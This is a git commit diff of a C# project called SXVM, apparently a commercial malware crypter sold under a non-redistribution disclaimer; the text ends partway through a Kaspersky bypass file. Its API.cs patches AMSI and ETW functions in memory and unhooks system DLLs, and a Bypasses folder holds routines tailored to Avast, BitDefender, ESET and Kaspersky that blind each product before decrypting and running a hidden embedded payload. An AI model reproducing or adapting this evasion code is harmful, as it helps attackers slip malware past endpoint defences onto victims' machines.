commit 6f7ea6a11ce886d7e75934da340fede3801f35b0 Author: i2p Date: Thu Aug 27 11:22:13 2026 -0600 initial commit diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..db14a1b Binary files /dev/null and b/.DS_Store differ diff --git a/README - Disclaimer for Code Usage and Distribution.txt b/README - Disclaimer for Code Usage and Distribution.txt new file mode 100644 index 0000000..da0aede --- /dev/null +++ b/README - Disclaimer for Code Usage and Distribution.txt @@ -0,0 +1,9 @@ +Disclaimer for Code Usage and Distribution + +The code and accompanying documentation provided to you are intended strictly for personal use and educational purposes only. + +Redistribution, leaking, or sharing of any part of the codebase, documentation, or related materials—publicly or privately—without explicit permission is strictly prohibited. + +Please be advised that any such unauthorized distribution may result in the immediate termination of business relationship, and the rights are reserved to refuse any future sales, support, or collaboration. + +By using these materials, you acknowledge and agree to these terms. \ No newline at end of file diff --git a/SXVM Documentation.pdf b/SXVM Documentation.pdf new file mode 100644 index 0000000..ee9166f Binary files /dev/null and b/SXVM Documentation.pdf differ diff --git a/SXVM.sln b/SXVM.sln new file mode 100644 index 0000000..ee0c09d --- /dev/null +++ b/SXVM.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.3.32819.101 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SXVM", "SXVM\SXVM.csproj", "{E1902815-B6DF-4BC8-94A6-C61A382FE83D}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x64 = Debug|x64 + Release|Any CPU = Release|Any CPU + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Debug|x64.ActiveCfg = Debug|x64 + {E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Debug|x64.Build.0 = Debug|x64 + {E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Release|Any CPU.ActiveCfg = Release|Any CPU + {E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Release|Any CPU.Build.0 = Release|Any CPU + {E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Release|x64.ActiveCfg = Release|x64 + {E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {425280F0-E36D-4ABA-8D95-46F06B7391D3} + EndGlobalSection +EndGlobal diff --git a/SXVM/0Harmony.bin b/SXVM/0Harmony.bin new file mode 100644 index 0000000..cafc7b9 Binary files /dev/null and b/SXVM/0Harmony.bin differ diff --git a/SXVM/API.cs b/SXVM/API.cs new file mode 100644 index 0000000..259735a --- /dev/null +++ b/SXVM/API.cs @@ -0,0 +1,712 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO.Compression; +using System.IO; +using System.Linq; +using System.Runtime.ExceptionServices; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using static SXVM.Settings; +using System.Net; +using System.Text.RegularExpressions; + +namespace SXVM +{ + internal static class API + { + [DllImport("kernel32.dll")] + internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32.dll")] + internal static extern IntPtr LoadLibrary(string name); + + [DllImport("kernel32.dll")] + internal static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + internal static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint dwSize, out int lpNumberOfBytesRead); + + [DllImport("kernel32.dll", SetLastError = true)] + internal static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, long dwSize, out long lpNumberOfBytesRead); + + [DllImport("kernel32.dll", SetLastError = true)] + internal static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out long lpNumberOfBytesWritten); + + private static Dictionary> labelActions = new Dictionary>(); + + internal static void RegisterHandler(string label, Func action) + { + labelActions[label] = action; + } + + internal static object[] JMP(string label, object[] args = null, bool Return = false) + { + if (labelActions.ContainsKey(label)) + { + object[] result = labelActions[label].Invoke(args); + if (!Return) + { + result = null; + goto JMPOut; + } + return result; + } + else + { + throw new AccessViolationException(); + return null; + } + + JMPOut: + throw new AccessViolationException(); + return null; + } + + internal static void ClearDecryptionKeyFromMemory() + { + DecryptionKey = @""; + DecryptionKey = null; + GC.Collect(); + } + + internal static unsafe IntPtr GetManagedFunctionPointer(void* managedPointer) + { + long* longAddress = (long*)managedPointer + 1; + byte* targetAddress = (byte*)*longAddress; + return (IntPtr)targetAddress; + } + + [DllImport("kernel32.dll")] + private static extern IntPtr GetModuleHandle(string lpModuleName); + + [HandleProcessCorruptedStateExceptions] + private static IntPtr FindBytes(IntPtr startAddress, uint size, byte[] pattern) + { + try + { + for (long i = 0; i < size - pattern.Length; i++) + { + bool found = true; + for (int j = 0; j < pattern.Length; j++) + { + if (Marshal.ReadByte((IntPtr)((long)startAddress + i + j)) != pattern[j]) + { + found = false; + break; + } + } + + if (found) + { + return (IntPtr)((long)startAddress + i); + } + } + + return IntPtr.Zero; + } + catch + { + return IntPtr.Zero; + } + } + + internal static IntPtr FindECallFunction(string moduleName, string functionName) + { + IntPtr hModule = GetModuleHandle(moduleName); + if (hModule == IntPtr.Zero) + { + return IntPtr.Zero; + } + + IntPtr pFuncName = FindBytes(hModule, uint.MaxValue, System.Text.Encoding.ASCII.GetBytes(functionName + "\0")); + if (pFuncName == IntPtr.Zero) + { + return IntPtr.Zero; + } + + IntPtr ppFuncName = FindBytes(hModule, uint.MaxValue, BitConverter.GetBytes(pFuncName.ToInt64())); + if (ppFuncName == IntPtr.Zero) + { + return IntPtr.Zero; + } + + IntPtr funcAddr = Marshal.ReadIntPtr(ppFuncName - IntPtr.Size); + if (funcAddr.ToInt64() < hModule.ToInt64() || funcAddr.ToInt64() >= hModule.ToInt64() + (long)uint.MaxValue) + { + return IntPtr.Zero; + } + + return funcAddr; + } + + internal static IntPtr FindECallFunctionViaModule(IntPtr hModule, string functionName) + { + if (hModule == IntPtr.Zero) + { + return IntPtr.Zero; + } + + IntPtr pFuncName = FindBytes(hModule, uint.MaxValue, System.Text.Encoding.ASCII.GetBytes(functionName + "\0")); + if (pFuncName == IntPtr.Zero) + { + return IntPtr.Zero; + } + + IntPtr ppFuncName = FindBytes(hModule, uint.MaxValue, BitConverter.GetBytes(pFuncName.ToInt64())); + if (ppFuncName == IntPtr.Zero) + { + return IntPtr.Zero; + } + + IntPtr funcAddr = Marshal.ReadIntPtr(ppFuncName - IntPtr.Size); + if (funcAddr.ToInt64() < hModule.ToInt64() || funcAddr.ToInt64() >= hModule.ToInt64() + (long)uint.MaxValue) + { + return IntPtr.Zero; + } + + return funcAddr; + } + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_DOS_HEADER + { + public ushort e_magic; + public ushort e_cblp; + public ushort e_cp; + public ushort e_crlc; + public ushort e_cparhdr; + public ushort e_minalloc; + public ushort e_maxalloc; + public ushort e_ss; + public ushort e_sp; + public ushort e_csum; + public ushort e_ip; + public ushort e_cs; + public ushort e_lfarlc; + public ushort e_ovno; + public ushort e_res_0; + public ushort e_res_1; + public ushort e_res_2; + public ushort e_res_3; + public ushort e_oemid; + public ushort e_oeminfo; + public ushort e_res2_0; + public ushort e_res2_1; + public ushort e_res2_2; + public ushort e_res2_3; + public ushort e_res2_4; + public ushort e_res2_5; + public ushort e_res2_6; + public ushort e_res2_7; + public ushort e_res2_8; + public ushort e_res2_9; + public uint e_lfanew; + } + + [HandleProcessCorruptedStateExceptions] + internal static void WriteCustomHeader(ushort NewHeader, out ushort OldHeader) + { + try + { + IntPtr module = GetModuleHandle(null); + if (module != IntPtr.Zero) + { + IntPtr signaturePtr = IntPtr.Add(module, Marshal.SizeOf(typeof(IMAGE_DOS_HEADER))); + ushort signature = (ushort)Marshal.PtrToStructure(signaturePtr, typeof(ushort)); + if (signature != NewHeader) + { + OldHeader = signature; + uint oldProtect; + if (VirtualProtect(module, (UIntPtr)512, 0x40, out oldProtect)) + { + signature = NewHeader; + Marshal.StructureToPtr(signature, signaturePtr, false); + VirtualProtect(module, (UIntPtr)512, oldProtect, out oldProtect); + } + } + else + { + OldHeader = 0; + } + } + else + { + OldHeader = 0; + } + } + catch + { + OldHeader = 0; + } + } + + [HandleProcessCorruptedStateExceptions] + private static ProcessModule GetModuleByAddress(IntPtr address) + { + try + { + foreach (ProcessModule module in Process.GetCurrentProcess().Modules) + { + try + { + IntPtr baseAddress = module.BaseAddress; + + if (address.ToInt64() >= baseAddress.ToInt64() && address.ToInt64() < baseAddress.ToInt64() + module.ModuleMemorySize) + { + return module; + } + } + catch + { + } + } + } + catch + { + } + + return null; + } + + [HandleProcessCorruptedStateExceptions] + internal static IntPtr SearchAoB(string pattern, string ModuleName) + { + try + { + Process process = Process.GetCurrentProcess(); + + foreach (ProcessModule module in process.Modules) + { + if (module.ModuleName == ModuleName) + { + IntPtr baseAddress = module.BaseAddress; + + byte?[] patternBytes = pattern.Split(' ').Select(x => + { + if (x == "??") + { + return null; + } + return (byte?)Convert.ToByte(x, 16); + }).ToArray(); + + byte[] memoryBytes = new byte[module.ModuleMemorySize]; + + long bytesRead; + if (ReadProcessMemory(process.Handle, baseAddress, memoryBytes, memoryBytes.LongLength, out bytesRead) && bytesRead == memoryBytes.Length) + { + for (long i = 0; i <= memoryBytes.Length - patternBytes.Length; i++) + { + bool found = true; + for (long j = 0; j < patternBytes.Length; j++) + { + if (patternBytes[j].HasValue && patternBytes[j] != memoryBytes[i + j]) + { + found = false; + break; + } + } + + if (found) + { + IntPtr AOB_Address = (IntPtr)(baseAddress.ToInt64() + i); + if (GetModuleByAddress(AOB_Address).ModuleName == ModuleName) + { + return AOB_Address; + } + } + } + } + break; + } + } + } + catch + { + } + + return IntPtr.Zero; + } + + [HandleProcessCorruptedStateExceptions] + internal static unsafe void WriteMemoryBlock(IntPtr Address, byte[] src, uint size) + { + if ((int)size > src.Length) + { + throw new ArgumentOutOfRangeException(nameof(size), "Size exceeds the length of the source array."); + } + else + { + uint OldProtect; + VirtualProtect(Address, (UIntPtr)size, 0x40, out OldProtect); + try + { + void* dest = (void*)Address; + for (int i = 0; i < (int)size; i++) + { + *((byte*)dest + i) = src[i]; + } + GC.Collect(); + VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _); + } + catch + { + VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _); + throw new AccessViolationException(); + } + } + } + + [HandleProcessCorruptedStateExceptions] + internal static unsafe byte[] ReadMemoryBlock(IntPtr Address, uint size) + { + if (Address == IntPtr.Zero) + { + throw new ArgumentException("Invalid memory address."); + return null; + } + else if ((int)size <= 0) + { + throw new ArgumentException("Size must be greater than zero."); + return null; + } + else + { + uint OldProtect; + VirtualProtect(Address, (UIntPtr)size, 0x40, out OldProtect); + try + { + byte[] result = new byte[(int)size]; + void* src = (void*)Address; + for (int i = 0; i < (int)size; i++) + { + result[i] = *((byte*)src + i); + } + VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _); + return result; + } + catch + { + VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _); + throw new AccessViolationException(); + } + return null; + } + return null; + } + + private static byte[] Original_AmsiScanBuffer = null; + private static byte[] Original_EtwEventWrite = null; + private static byte[] Original_NtTraceEvent = null; + + [HandleProcessCorruptedStateExceptions] + internal static void PatchEDR(bool Patch_AMSI, bool Patch_ETW, bool UseWriteProcessMemory) + { + try + { + IntPtr AMSI_Library = LoadLibrary(@"amsi.dll"); + IntPtr NTDLL_Library = LoadLibrary(@"ntdll.dll"); + IntPtr AmsiScanBuffer_Address = GetProcAddress(AMSI_Library, @"AmsiScanBuffer"); + IntPtr EtwEventWrite_Address = GetProcAddress(NTDLL_Library, @"EtwEventWrite"); + IntPtr NtTraceEvent_Address = GetProcAddress(NTDLL_Library, @"NtTraceEvent"); + Original_AmsiScanBuffer = ReadMemoryBlock(AmsiScanBuffer_Address, 30); + Original_EtwEventWrite = ReadMemoryBlock(EtwEventWrite_Address, 30); + Original_NtTraceEvent = ReadMemoryBlock(NtTraceEvent_Address, 30); + byte[] Patch = { 0xC3 }; + if (Patch_AMSI == true) + { + if (UseWriteProcessMemory == true) + { + WriteProcessMemory(Process.GetCurrentProcess().Handle, AmsiScanBuffer_Address, Patch, (uint)Patch.Length, out _); + } + else + { + WriteMemoryBlock(AmsiScanBuffer_Address, Patch, (uint)Patch.Length); + } + } + else + { + } + if (Patch_ETW == true) + { + if (UseWriteProcessMemory == true) + { + WriteProcessMemory(Process.GetCurrentProcess().Handle, EtwEventWrite_Address, Patch, (uint)Patch.Length, out _); + WriteProcessMemory(Process.GetCurrentProcess().Handle, NtTraceEvent_Address, Patch, (uint)Patch.Length, out _); + } + else + { + WriteMemoryBlock(EtwEventWrite_Address, Patch, (uint)Patch.Length); + WriteMemoryBlock(NtTraceEvent_Address, Patch, (uint)Patch.Length); + } + } + } + catch + { + } + } + + [HandleProcessCorruptedStateExceptions] + internal static void RestorePatchIntegrity(bool UseWriteProcessMemory, bool Exit = true) + { + try + { + IntPtr AMSI_Library = LoadLibrary(@"amsi.dll"); + IntPtr NTDLL_Library = LoadLibrary(@"ntdll.dll"); + IntPtr AmsiScanBuffer_Address = GetProcAddress(AMSI_Library, @"AmsiScanBuffer"); + IntPtr EtwEventWrite_Address = GetProcAddress(NTDLL_Library, @"EtwEventWrite"); + IntPtr NtTraceEvent_Address = GetProcAddress(NTDLL_Library, @"NtTraceEvent"); + if (UseWriteProcessMemory == true) + { + WriteProcessMemory(Process.GetCurrentProcess().Handle, AmsiScanBuffer_Address, Original_AmsiScanBuffer, (uint)Original_AmsiScanBuffer.Length, out _); + WriteProcessMemory(Process.GetCurrentProcess().Handle, EtwEventWrite_Address, Original_EtwEventWrite, (uint)Original_EtwEventWrite.Length, out _); + WriteProcessMemory(Process.GetCurrentProcess().Handle, NtTraceEvent_Address, Original_NtTraceEvent, (uint)Original_NtTraceEvent.Length, out _); + } + else + { + WriteMemoryBlock(AmsiScanBuffer_Address, Original_AmsiScanBuffer, (uint)Original_AmsiScanBuffer.Length); + WriteMemoryBlock(EtwEventWrite_Address, Original_EtwEventWrite, (uint)Original_EtwEventWrite.Length); + WriteMemoryBlock(NtTraceEvent_Address, Original_NtTraceEvent, (uint)Original_NtTraceEvent.Length); + } + if (Exit == true) + { + throw new AccessViolationException(); + } + else + { + } + } + catch + { + if (Exit == true) + { + throw new AccessViolationException(); + } + else + { + } + } + } + + internal static byte[] ExtractResource(String filename) + { + System.Reflection.Assembly a = System.Reflection.Assembly.GetExecutingAssembly(); + using (Stream resFilestream = a.GetManifestResourceStream(filename)) + { + if (resFilestream == null) return null; + byte[] ba = new byte[resFilestream.Length]; + resFilestream.Read(ba, 0, ba.Length); + return ba; + } + } + + internal static byte[] Decompress(byte[] data) + { + using (MemoryStream input = new MemoryStream(data)) + { + using (MemoryStream output = new MemoryStream()) + { + using (DeflateStream dstream = new DeflateStream(input, CompressionMode.Decompress)) + { + dstream.CopyTo(output); + } + return output.ToArray(); + } + } + } + + internal static byte[] AESDecrypt(byte[] input, string Pass) + { + System.Security.Cryptography.RijndaelManaged AES = new System.Security.Cryptography.RijndaelManaged(); + byte[] hash = new byte[32]; + byte[] temp = new MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.ASCII.GetBytes(Pass)); + Array.Copy(temp, 0, hash, 0, 16); + Array.Copy(temp, 0, hash, 15, 16); + AES.Key = hash; + AES.Mode = System.Security.Cryptography.CipherMode.ECB; + System.Security.Cryptography.ICryptoTransform DESDecrypter = AES.CreateDecryptor(); + return DESDecrypter.TransformFinalBlock(input, 0, input.Length); + } + + internal static class Unhooker + { + [HandleProcessCorruptedStateExceptions] + internal static unsafe void Unhook(string a) + { + try + { + bool wow64; + IsWow64Process(Process.GetCurrentProcess().Handle, out wow64); + + string systemDirectory = Path.GetPathRoot(Environment.SystemDirectory) + @"Windows\System32\"; + if (wow64 && IntPtr.Size == 4) + { + systemDirectory = Path.GetPathRoot(Environment.SystemDirectory) + @"Windows\SysWOW64\"; + } + + IntPtr dll = GetLoadedModuleAddress(a); + if (dll == IntPtr.Zero) return; + MODULEINFO moduleInfo; + if (!GetModuleInformation(Process.GetCurrentProcess().Handle, dll, out moduleInfo, (uint)sizeof(MODULEINFO))) return; + + IntPtr dllFile = CreateFileA(systemDirectory + a, 0x80000000, 1, IntPtr.Zero, 3, 0, IntPtr.Zero); + if (dllFile == (IntPtr)(-1)) + { + CloseHandle(dllFile); + return; + } + + IntPtr dllMapping = CreateFileMapping(dllFile, IntPtr.Zero, 0x1000002, 0, 0, null); + if (dllMapping == IntPtr.Zero) + { + CloseHandle(dllMapping); + return; + } + + IntPtr dllMappedFile = MapViewOfFile(dllMapping, 4, 0, 0, IntPtr.Zero); + if (dllMappedFile == IntPtr.Zero) return; + + int ntHeaders = Marshal.ReadInt32((IntPtr)((long)moduleInfo.BaseOfDll + 0x3c)); + short numberOfSections = Marshal.ReadInt16((IntPtr)((long)dll + ntHeaders + 0x6)); + short sizeOfOptionalHeader = Marshal.ReadInt16(dll, ntHeaders + 0x14); + + for (short i = 0; i < numberOfSections; i++) + { + IntPtr sectionHeader = (IntPtr)((long)dll + ntHeaders + 0x18 + sizeOfOptionalHeader + i * 0x28); + if (Marshal.ReadByte(sectionHeader) == '.' && + Marshal.ReadByte((IntPtr)((long)sectionHeader + 1)) == 't' && + Marshal.ReadByte((IntPtr)((long)sectionHeader + 2)) == 'e' && + Marshal.ReadByte((IntPtr)((long)sectionHeader + 3)) == 'x' && + Marshal.ReadByte((IntPtr)((long)sectionHeader + 4)) == 't') + { + int virtualAddress = Marshal.ReadInt32((IntPtr)((long)sectionHeader + 0xc)); + uint virtualSize = (uint)Marshal.ReadInt32((IntPtr)((long)sectionHeader + 0x8)); + uint oldProtect; + VirtualProtectA((IntPtr)((long)dll + virtualAddress), (IntPtr)virtualSize, 0x40, out oldProtect); + memcpy((IntPtr)((long)dll + virtualAddress), (IntPtr)((long)dllMappedFile + virtualAddress), (IntPtr)virtualSize); + VirtualProtectA((IntPtr)((long)dll + virtualAddress), (IntPtr)virtualSize, oldProtect, out oldProtect); + break; + } + } + + CloseHandle(dllMapping); + CloseHandle(dllFile); + FreeLibrary(dll); + } + catch + { + } + } + + [StructLayout(LayoutKind.Sequential)] + private struct MODULEINFO + { + public IntPtr BaseOfDll; + public uint SizeOfImage; + public IntPtr EntryPoint; + } + + private static CloseHandleD CloseHandle = Marshal.GetDelegateForFunctionPointer(GetLibraryAddress("kernel32.dll", "CloseHandle")); + private static FreeLibraryD FreeLibrary = Marshal.GetDelegateForFunctionPointer(GetLibraryAddress("kernel32.dll", "FreeLibrary")); + private static VirtualProtectD VirtualProtectA = Marshal.GetDelegateForFunctionPointer(GetLibraryAddress("kernel32.dll", "VirtualProtect")); + private static CreateFileAD CreateFileA = Marshal.GetDelegateForFunctionPointer(GetLibraryAddress("kernel32.dll", "CreateFileA")); + private static CreateFileMappingD CreateFileMapping = Marshal.GetDelegateForFunctionPointer(GetLibraryAddress("kernel32.dll", "CreateFileMappingA")); + private static MapViewOfFileD MapViewOfFile = Marshal.GetDelegateForFunctionPointer(GetLibraryAddress("kernel32.dll", "MapViewOfFile")); + private static memcpyD memcpy = Marshal.GetDelegateForFunctionPointer(GetLibraryAddress("msvcrt.dll", "memcpy")); + private static GetModuleInformationD GetModuleInformation = Marshal.GetDelegateForFunctionPointer(GetLibraryAddress("psapi.dll", "GetModuleInformation")); + private static IsWow64ProcessD IsWow64Process = Marshal.GetDelegateForFunctionPointer(GetLibraryAddress("kernel32.dll", "IsWow64Process")); + + private delegate bool CloseHandleD(IntPtr handle); + + private delegate bool FreeLibraryD(IntPtr module); + + private delegate int VirtualProtectD(IntPtr address, IntPtr size, uint newProtect, out uint oldProtect); + + private delegate IntPtr CreateFileAD(string fileName, uint desiredAccess, uint shareMode, IntPtr securityAttributes, uint creationDisposition, uint flagsAndAttributes, IntPtr templateFile); + + private delegate IntPtr CreateFileMappingD(IntPtr file, IntPtr fileMappingAttributes, uint protect, uint maximumSizeHigh, uint maximumSizeLow, string name); + + private delegate IntPtr MapViewOfFileD(IntPtr fileMappingObject, uint desiredAccess, uint fileOffsetHigh, uint fileOffsetLow, IntPtr numberOfBytesToMap); + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + private delegate IntPtr memcpyD(IntPtr dest, IntPtr src, IntPtr count); + + private delegate bool GetModuleInformationD(IntPtr process, IntPtr module, out MODULEINFO moduleInfo, uint size); + + private delegate bool IsWow64ProcessD([In] IntPtr hProcess, [Out] out bool wow64Process); + + private static IntPtr GetLibraryAddress(string DLLName, string FunctionName) + { + return GetExportAddress(GetLoadedModuleAddress(DLLName), FunctionName); + } + + private static IntPtr GetLoadedModuleAddress(string DLLName) + { + ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules; + foreach (ProcessModule Mod in ProcModules) + { + if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower())) + { + return Mod.BaseAddress; + } + } + return IntPtr.Zero; + } + + private static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName) + { + IntPtr FunctionPtr = IntPtr.Zero; + try + { + Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); + Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14)); + Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; + Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); + Int64 pExport = 0; + if (Magic == 0x010b) + { + pExport = OptHeader + 0x60; + } + else + { + pExport = OptHeader + 0x70; + } + + Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); + Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); + Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14)); + Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); + Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); + Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); + Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); + + for (int i = 0; i < NumberOfNames; i++) + { + string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); + if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase)) + { + Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; + Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); + FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA); + break; + } + } + } + catch + { + throw new InvalidOperationException(); + } + + if (FunctionPtr == IntPtr.Zero) + { + throw new MissingMethodException(); + } + return FunctionPtr; + } + } + } +} diff --git a/SXVM/App.config b/SXVM/App.config new file mode 100644 index 0000000..d740e88 --- /dev/null +++ b/SXVM/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/SXVM/Bypasses/Avast.cs b/SXVM/Bypasses/Avast.cs new file mode 100644 index 0000000..f9304c1 --- /dev/null +++ b/SXVM/Bypasses/Avast.cs @@ -0,0 +1,30 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Reflection; +using System.Text; +using System.Threading.Tasks; +using static SXVM.API; +using static SXVM.Settings; + +namespace SXVM.Bypasses +{ + internal static class Avast + { + internal static void Bypass(string[] args) + { + PatchEDR(true, true, true); + Program.AttachHooks(null); + MethodInfo mi = Assembly.Load(Decompress(AESDecrypt(ExtractResource(@"payload.bin"), DecryptionKey))).EntryPoint; + ClearDecryptionKeyFromMemory(); + try + { + mi.Invoke(null, new object[] { args }); + } + catch + { + mi.Invoke(null, null); + } + } + } +} diff --git a/SXVM/Bypasses/BitDefender.cs b/SXVM/Bypasses/BitDefender.cs new file mode 100644 index 0000000..f84d305 --- /dev/null +++ b/SXVM/Bypasses/BitDefender.cs @@ -0,0 +1,53 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Text; +using System.Threading.Tasks; +using static SXVM.API; +using static SXVM.Settings; + +namespace SXVM.Bypasses +{ + internal static class BitDefender + { + internal static void Bypass(string[] args) + { + PatchEDR(false, true, false); + HardwareBreakpointAmsiPatch.Bypass(); + string CLRFilePath = @""; + foreach (ProcessModule module in Process.GetCurrentProcess().Modules) + { + if (module.ModuleName == @"clr.dll") + { + CLRFilePath = module.FileName; + break; + } + } + IntPtr RealCLRAddress = FindECallFunction(@"clr.dll", @"nLoadImage"); + DLLFromMemory MemCLR = new DLLFromMemory(File.ReadAllBytes(CLRFilePath)); + IntPtr MemCLRAddress = FindECallFunctionViaModule(MemCLR.pCode, @"nLoadImage"); + byte[] CLRPatch = ReadMemoryBlock(MemCLRAddress, 30); + WriteMemoryBlock(RealCLRAddress, CLRPatch, (uint)CLRPatch.Length); + CLRPatch = null; + CLRFilePath = @""; + CLRFilePath = null; + MemCLR.Close(); + MemCLR = null; + GC.Collect(); + Program.AttachHooks(null); + MethodInfo mi = Assembly.Load(Decompress(AESDecrypt(ExtractResource(@"payload.bin"), DecryptionKey))).EntryPoint; + ClearDecryptionKeyFromMemory(); + try + { + mi.Invoke(null, new object[] { args }); + } + catch + { + mi.Invoke(null, null); + } + } + } +} diff --git a/SXVM/Bypasses/Default.cs b/SXVM/Bypasses/Default.cs new file mode 100644 index 0000000..3b1041b --- /dev/null +++ b/SXVM/Bypasses/Default.cs @@ -0,0 +1,30 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Reflection; +using System.Text; +using System.Threading.Tasks; +using static SXVM.API; +using static SXVM.Settings; + +namespace SXVM.Bypasses +{ + internal static class Default + { + internal static void Bypass(string[] args) + { + PatchEDR(true, true, false); + Program.AttachHooks(null); + MethodInfo mi = Assembly.Load(Decompress(AESDecrypt(ExtractResource(@"payload.bin"), DecryptionKey))).EntryPoint; + ClearDecryptionKeyFromMemory(); + try + { + mi.Invoke(null, new object[] { args }); + } + catch + { + mi.Invoke(null, null); + } + } + } +} diff --git a/SXVM/Bypasses/ESET.cs b/SXVM/Bypasses/ESET.cs new file mode 100644 index 0000000..a07f7d1 --- /dev/null +++ b/SXVM/Bypasses/ESET.cs @@ -0,0 +1,74 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Net.Sockets; +using System.Net; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; +using static SXVM.API; +using static SXVM.Settings; + +namespace SXVM.Bypasses +{ + internal static class ESET + { + private static SXVM sxvm_eset = new SXVM(); + + private delegate void ESETBypass(); + + private delegate void ESETHijack(); + + private static string[] PassthroughArgs = null; + + internal static void Bypass(string[] args) + { + PatchEDR(true, true, false); + ESETBypass eSETBypass = _ESETBypass; + IntPtr ESETAddress = SearchAoB(@"48 83 EC 28 E8 BB FF FF FF 48 F7 D8 1B C0 F7 D8", @"eamsi.dll"); + sxvm_eset.Hook(ESETAddress, eSETBypass, true, false); + PassthroughArgs = args; + try + { + ESETHijack eSETHijack = Marshal.GetDelegateForFunctionPointer(ESETAddress); + eSETHijack(); + } + catch + { + } + } + + private static void _ESETBypass() + { + sxvm_eset.Unhook(); + Program.AttachHooks(null); + HarmonyPatcher.Patch(new HarmonyPatcher.TypeInfo(typeof(Socket), @"Connect", new Type[] { typeof(IPAddress), typeof(int) }), typeof(HookedSocket.Connect), null); + MethodInfo mi = Assembly.Load(Decompress(AESDecrypt(ExtractResource(@"payload.bin"), DecryptionKey))).EntryPoint; + ClearDecryptionKeyFromMemory(); + try + { + string[] args = PassthroughArgs; + PassthroughArgs = null; + mi.Invoke(null, new object[] { args }); + } + catch + { + mi.Invoke(null, null); + } + } + + private static class HookedSocket + { + internal static class Connect + { + internal static bool Prefix(ref IPAddress address, ref int port) + { + return true; + } + } + } + } +} diff --git a/SXVM/Bypasses/Kaspersky.cs b/SXVM/Bypasses/Kaspersky.cs new file mode 100644 index 0000000..5d8af87 --- /dev/null +++ b/SXVM/Bypasses/Kaspersky.cs @@ -0,0 +1,56 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Reflection; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using static SXVM.API; +using static SXVM.Settings; + +namespace SXVM.Bypasses +{ + internal static class Kaspersky + { + private static SXVM sxvm_kaspersky = new SXVM(); + + private delegate void KasperskyBypass(); + + private static string[] PassthroughArgs = null; + + internal static void 